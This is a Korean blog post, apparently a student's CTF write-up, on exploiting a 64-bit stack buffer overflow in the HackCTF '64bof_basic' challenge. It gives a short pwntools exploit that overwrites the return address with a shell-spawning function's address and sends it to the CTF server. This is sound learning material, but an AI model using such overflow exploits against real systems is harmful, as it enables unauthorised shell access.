혜랑's STORY

[HackCTF] x64 Buffer Overflow 본문

2021 SISS 21기 활동/1학기 시스템

[HackCTF] x64 Buffer Overflow

hyerang0125 2021. 4. 9. 13:54

# checksec을 통해 보호기법 확인하기

-> 확인해본 결과 64bof_basic은 RELRO와 NX가 걸려있다. 따라서 RET 변조를 통해 문제를 해결해야 할 것 같다.

#IDA를 사용하여 64bof_basic 살펴보기

  • s의 크기는 0x110(272)byte 라는 것을 알 수 있다.

함수 목록

-> 함수 목록을 살펴보니 "callMeMaybe"라는 함수가 있는 것을 볼 수 있다.

callMeMaybe 함수를 살펴보니 쉘을 실행시키는 함수였다. 이 함수의 주소(0x400606)를 전달해주면 쉘을 실행할 수 있을 것 같다.

#Payload

앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성할 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3004)

payload = 'A' * 280 #buffer + SFP + RET
payload += p64(0x400606)

p.sendline(payload)
p.interactive()

 

# Exploit

해당 Exploit code를 실행하여 flag 획득

성공!

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

깃 허브에 올린 과제  (0) 2021.06.16
[Hack CTF] RTL_World  (0) 2021.05.14
[HackCTF] Basic_BOF #1  (0) 2021.04.09
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.04.02
[TAMU CTF 2018] pwn3  (0) 2021.03.31